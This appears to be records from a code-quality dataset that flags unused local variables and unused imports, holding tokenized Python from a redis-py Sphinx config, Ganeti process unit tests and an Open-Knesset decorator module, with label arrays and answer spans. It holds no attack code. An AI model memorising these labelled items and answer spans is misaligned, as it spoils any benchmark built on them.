"is", " ", "split", " ", "int", "o", " ", "individual", " ", "page", "s", " ", "for", " ", "each", " ", "letter", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "split", "\\u", "index", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "link", "s", " ", "to", " ", "the", " ", "re", "ST", " ", "source", "s", " ", "are", " ", "adde", "d", " ", "to", " ", "the", " ", "page", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "show", "\\u", "source", "link", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "\"", "Creat", "ed", " ", "usi", "ng", " ", "Sph", "inx", "\"", " ", "is", " ", "shown", " ", "in", " ", "the", " ", "HTM", "L", " ", "footer", ".", " ", "Default", " ", "is", " ", "Tru", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "show", "\\u", "sphinx", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "\"(", "C", ")", " ", "Copy", "right", " ", "...\"", " ", "is", " ", "shown", " ", "in", " ", "the", " ", "HTM", "L", " ", "footer", ".", " ", "Default", " ", "is", " ", "Tru", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "show", "\\u", "copyr", "ight", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "an", " ", "Open", "Sear", "ch", " ", "description", " ", "file", " ", "will", " ", "be", " ", "output", ",", " ", "and", " ", "all", " ", "page", "s", " ", "will", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "contain", " ", "a", " ", "<", "link", ">", " ", "tag", " ", "refer", "ring", " ", "to", " ", "it", ".", " ", " ", "The", " ", "value", " ", "of", " ", "this", " ", "option", " ", "must", " ", "be", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "base", " ", "URL", " ", "from", " ", "whi", "ch", " ", "the", " ", "finish", "ed", " ", "HTM", "L", " ", "is", " ", "serve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "use", "\\u", "opens", "ear", "ch", " ", "=", " ", "''_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "the", " ", "file", " ", "name", " ", "suff", "ix", " ", "for", " ", "HTM", "L", " ", "files", " ", "(", "e", ".", "g", ".", " ", "\".", "xh", "tml", "\")", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "file", "\\u", "suff", "ix", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Output", " ", "file", " ", "base", " ", "name", " ", "for", " ", "HTM", "L", " ", "help", " ", "builde", "r", "._", "\\u\\u\\uNL\\u\\u\\u_", "html", "help", "\\u", "basename_", "=_", "'", "redis", "-", "pydo", "c", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "Optio", "ns", " ", "for", " ", "La", "Te", "X", " ", "output", " ", "--------------", "--------------", "--------------", "-------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "late", "x", "\\u", "elements_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "pape", "r", " ", "size", " ", "('", "letter", "pape", "r", "'", " ", "or", " ", "'", "a4", "pape", "r", "')", "._", "\\u\\u\\uNL\\u\\u\\u_", "#'", "papers", "ize", "':", " ", "'", "letter", "pape", "r", "',", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "font", " ", "size", " ", "('", "10", "pt", "',", " ", "'", "11", "pt", "'", " ", "or", " ", "'", "1", "2p", "t", "')", "._", "\\u\\u\\uNL\\u\\u\\u_", "#'", "points", "ize", "':", " ", "'", "10", "pt", "',", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Addition", "al", " ", "stu", "ff", " ", "for", " ", "the", " ", "La", "Te", "X", " ", "preamble", "._", "\\u\\u\\uNL\\u\\u\\u_", "#'", "preamble", "':", " ", "''", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Group", "ing", " ", "the", " ", "document", " ", "tree", " ", "int", "o", " ", "La", "Te", "X", " ", "files", ".", " ", "List", " ", "of", " ", "tuples_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "source", " ", "start", " ", "file", ",", " ", "target", " ", "name", ",", " ", "title", ",", " ", "author", ",", " ", "document", "class_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "[", "how", "to", "/", "manu", "al", "])", "._", "\\u\\u\\uNL\\u\\u\\u_", "late", "x", "\\u", "documents_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "index", "'_", ",_", "'", "redis", "-", "py", ".", "tex", "'_", ",_", "u", "'", "redis", "-", "py", " ", "Document", "ation", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "And", "y", " ", "Mc", "Cur", "dy", ",", " ", "Ma", "hdi", " ", "Yu", "suf", "'_", ",_", "'", "manu", "al", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "an", " ", "image", " ", "file", " ", "(", "relative", " ", "to", " ", "this", " ", "director", "y", ")", " ", "to", " ", "place", " ", "at", " ", "the", " ", "top", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "title", " ", "page", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "logo", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "\"", "manu", "al", "\"", " ", "document", "s", ",", " ", "if", " ", "this", " ", "is", " ", "true", ",", " ", "then", " ", "toplevel", " ", "heading", "s", " ", "are", " ", "part", "s", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "not", " ", "chapters", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "use", "\\u", "part", "s", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "show", " ", "page", " ", "reference", "s", " ", "after", " ", "internal", " ", "link", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "show", "\\u", "pager", "ef", "s", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "show", " ", "URL", " ", "addresse", "s", " ", "after", " ", "external", " ", "link", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "show", "\\u", "urls", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Document", "s", " ", "to", " ", "append", " ", "as", " ", "an", " ", "appendi", "x", " ", "to", " ", "all", " ", "manu", "als", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "appendi", "ces", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "module", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "domain", "\\u", "indice", "s", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "Optio", "ns", " ", "for", " ", "manu", "al", " ", "page", " ", "output", " ", "--------------", "--------------", "--------------", "-_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "One", " ", "entry", " ", "per", " ", "manu", "al", " ", "page", ".", " ", "List", " ", "of", " ", "tuples_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "source", " ", "start", " ", "file", ",", " ", "name", ",", " ", "description", ",", " ", "author", "s", ",", " ", "manu", "al", " ", "section", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "man", "\\u", "pages_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "index", "'_", ",_", "'", "redis", "-", "py", "'_", ",_", "u", "'", "redis", "-", "py", " ", "Document", "ation", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "u", "'", "And", "y", " ", "Mc", "Cur", "dy", ",", " ", "Ma", "hdi", " ", "Yu", "suf", "'_", "]_", ",_", "1_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "show", " ", "URL", " ", "addresse", "s", " ", "after", " ", "external", " ", "link", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "man", "\\u", "show", "\\u", "urls", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "Optio", "ns", " ", "for", " ", "Tex", "info", " ", "output", " ", "--------------", "--------------", "--------------", "-----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Group", "ing", " ", "the", " ", "document", " ", "tree", " ", "int", "o", " ", "Tex", "info", " ", "files", ".", " ", "List", " ", "of", " ", "tuples_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "source", " ", "start", " ", "file", ",", " ", "target", " ", "name", ",", " ", "title", ",", " ", "author", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "dir", " ", "menu", " ", "entry", ",", " ", "description", ",", " ", "category", ")_", "\\u\\u\\uNL\\u\\u\\u_", "tex", "info", "\\u", "documents_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "index", "'_", ",_", "'", "redis", "-", "py", "'_", ",_", "u", "'", "redis", "-", "py", " ", "Document", "ation", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "And", "y", " ", "Mc", "Cur", "dy", ",", " ", "Ma", "hdi", " ", "Yu", "suf", "'_", ",_", "'", "redis", "-", "py", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "One", " ", "line", " ", "description", " ", "of", " ", "project", ".'_", ",_", "'", "Mis", "cell", "ane", "ous", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Document", "s", " ", "to", " ", "append", " ", "as", " ", "an", " ", "appendi", "x", " ", "to", " ", "all", " ", "manu", "als", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "tex", "info", "\\u", "appendi", "ces", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "module", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "tex", "info", "\\u", "domain", "\\u", "indice", "s", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ho", "w", " ", "to", " ", "display", " ", "URL", " ", "addresse", "s", ":", " ", "'", "footnote", "',", " ", "'", "no", "',", " ", "or", " ", "'", "inline", "'.", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "tex", "info", "\\u", "show", "\\u", "urls", " ", "=", " ", "'", "footnote", "'_", "\\u\\u\\uNL\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
ganeti/ganeti/test/py/ganeti.utils.process_unittest.py
[ { "content": " def testNoInputRead(self):\n testfile = testutils.TestDataFilename(\"cert1.pem\")\n\n result = utils.RunCmd([\"cat\"], timeout=10.0)\n self.assertFalse(result.failed)\n self.assertEqual(result.stderr, \"\")\n self.assertEqual(result.stdout, \"\")", "metadata": "root.TestRunCmd.testNoInputRead", "header": "['class', 'TestRunCmd', '(', 'testutils', '.', 'GanetiTestCase', ')', ':', '___EOS___']", "index": 400 }, { "content": " def testPidFile(self):\n pidfile = os.path.join(self.tmpdir, \"pid\")\n checkfile = os.path.join(self.tmpdir, \"abort\")\n\n pid = utils.StartDaemon(\"while sleep 5; do :; done\", pidfile=pidfile,\n output=self.tmpfile)\n try:\n fd = os.open(pidfile, os.O_RDONLY)\n try:\n # Check file is locked\n self.assertRaises(errors.LockError, utils.LockFile, fd)\n\n pidtext = os.read(fd, 100)\n finally:\n os.close(fd)\n\n self.assertEqual(int(pidtext.strip()), pid)\n\n self.assert_(utils.IsProcessAlive(pid))\n finally:\n # No matter what happens, kill daemon\n utils.KillProcess(pid, timeout=5.0, waitpid=False)\n self.failIf(utils.IsProcessAlive(pid))\n\n self.assertEqual(utils.ReadFile(self.tmpfile), \"\")", "metadata": "root.TestStartDaemon.testPidFile", "header": "['class', 'TestStartDaemon', '(', 'testutils', '.', 'GanetiTestCase', ')', ':', '___EOS___']", "index": 645 } ]
[ { "span": "testfile ", "start_line": 401, "start_column": 4, "end_line": 401, "end_column": 12 }, { "span": "checkfile ", "start_line": 647, "start_column": 4, "end_line": 647, "end_column": 13 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Test", "Run", "Cmd_", "(_", "testutils_", "._", "Gan", "eti", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "No", "Inp", "ut", "Read_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "testfile_", "=_", "testutils_", "._", "Test", "Data", "Filename_", "(_", "\"", "cert", "1", ".", "pe", "m", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "utils_", "._", "Run", "Cmd_", "(_", "[_", "\"", "cat", "\"_", "]_", ",_", "timeout_", "=_", "10.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "result_", "._", "failed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "result_", "._", "stderr_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "result_", "._", "stdout_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Start", "Daemon_", "(_", "testutils_", "._", "Gan", "eti", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Pid", "File_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pidfile_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "tmpdir_", ",_", "\"", "pid", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check", "file_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "tmpdir_", ",_", "\"", "abort", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pid_", "=_", "utils_", "._", "Start", "Daemon_", "(_", "\"", "whi", "le", " ", "sleep", " ", "5", ";", " ", "do", " ", ":", ";", " ", "don", "e", "\"_", ",_", "pidfile_", "=_", "pidfile_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "output_", "=_", "self_", "._", "tmpfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fd_", "=_", "os_", "._", "open_", "(_", "pidfile_", ",_", "os_", "._", "O", "\\u", "RD", "ONLY_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Check", " ", "file", " ", "is", " ", "locked_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Raises_", "(_", "errors_", "._", "Lock", "Error_", ",_", "utils_", "._", "Lock", "File_", ",_", "fd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pid", "text_", "=_", "os_", "._", "read_", "(_", "fd_", ",_", "100_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "close_", "(_", "fd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "int_", "(_", "pid", "text_", "._", "strip_", "(_", ")_", ")_", ",_", "pid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "utils_", "._", "Is", "Process", "Alive_", "(_", "pid_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "No", " ", "matte", "r", " ", "what", " ", "happ", "ens", ",", " ", "kill", " ", "daemon_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "utils_", "._", "Kill", "Process_", "(_", "pid_", ",_", "timeout_", "=_", "5.0_", ",_", "wait", "pid_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "If_", "(_", "utils_", "._", "Is", "Process", "Alive_", "(_", "pid_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uN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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ofri/Open-Knesset/hashnav/__init__.py
[ { "content": "from functools import wraps, update_wrapper\nfrom base import View\nfrom list import ListView\nfrom detail import DetailView\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def method_decorator(decorator):\n \"\"\"\n Converts a view function decorator into a method decorator.\n the special thing about view decorators is that they expect \n 'request' to be their first argument.\n Example:\n\n class MyView(View):\n allowed_methods = ['GET','POST'],\n\n @method_decorator(login_required)\n def POST(*arg, **kwargs):\n ...\n \"\"\"\n def _dec(func):\n def _wrapper(self, *args, **kwargs):\n def bound_func(request, *args2, **kwargs2):\n return func(self, *args2, **kwargs2)\n # bound_func has the signature that 'decorator' expects i.e. no\n # 'self' argument, but it is a closure over self so it can call\n # 'func' correctly.\n return decorator(bound_func)(self.request, *args, **kwargs)\n return wraps(func)(_wrapper)\n update_wrapper(_dec, decorator)\n # Change the name to aid debugging.\n _dec.__name__ = 'method_dec(%s)' % decorator.__name__\n return _dec", "metadata": "root.method_decorator", "header": "['module', '___EOS___']", "index": 5 } ]
[ { "span": "from base import View", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 21 }, { "span": "from list import ListView", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 25 }, { "span": "from detail import DetailView", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 29 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "functools_", "import_", "wraps_", ",_", "update", "\\u", "wrapper_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "base_", "import_", "View_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "list_", "import_", "List", "View_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "detail_", "import_", "Det", "ail", "View_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "method", "\\u", "decorator_", "(_", "decorator_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Convert", "s", " ", "a", " ", "view", " ", "function", " ", "decorat", "or", " ", "int", "o", " ", "a", " ", "method", " ", "decorat", "or", ".", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "special", " ", "thing", " ", "abo", "ut", " ", "view", " ", "decorat", "ors", " ", "is", " ", "tha", "t", " ", "the", "y", " ", "expect", " ", "\\", "10", ";", " ", " ", " ", " ", "'", "request", "'", " ", "to", " ", "be", " ", "thei", "r", " ", "first", " ", "argu", "ment", ".", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ple", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "class", " ", "My", "View", "(", "View", "):", "\\", "10", ";", " ", " ", " ", " ", "allow", "ed", "\\u", "method", "s", " ", "=", " ", "['", "GET", "','", "POST", "']", ",", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "method", "\\u", "decorat", "or", "(", "login", "\\u", "require", "d", ")", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "POST", "(*", "arg", ",", " ", "**", "kwarg", "s", "):", "\\", "10", ";", " ", " ", " ", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "dec_", "(_", "func_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u", "wrapper_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "bound", "\\u", "func_", "(_", "request_", ",_", "*_", "args", "2_", ",_", "**_", "kwarg", "s2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "func_", "(_", "self_", ",_", "*_", "args", "2_", ",_", "**_", "kwarg", "s2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "bound", "\\u", "func", " ", "has", " ", "the", " ", "signa", "ture", " ", "tha", "t", " ", "'", "decorat", "or", "'", " ", "expect", "s", " ", "i", ".", "e", ".", " ", " ", "no_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "'", "self", "'", " ", "argu", "ment", ",", " ", "but", " ", "it", " ", "is", " ", "a", " ", "clos", "ure", " ", "over", " ", "self", " ", "so", " ", "it", " ", "can", " ", "call_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "'", "func", "'", " ", "correct", "ly", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "decorator_", "(_", "bound", "\\u", "func_", ")_", "(_", "self_", "._", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "wraps_", "(_", "func_", ")_", "(_", "\\u", "wrapper_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "update", "\\u", "wrapper_", "(_", "\\u", "dec_", ",_", "decorator_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Change", " ", "the", " ", "name", " ", "to", " ", "aid", " ", "debugg", "ing", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "dec_", "._", "\\u\\u", "name\\u\\u_", "=_", "'", "method", "\\u", "dec", "(%", "s", ")'_", "%_", "decorator_", "._", "\\u\\u", "name\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u", "dec_" ]
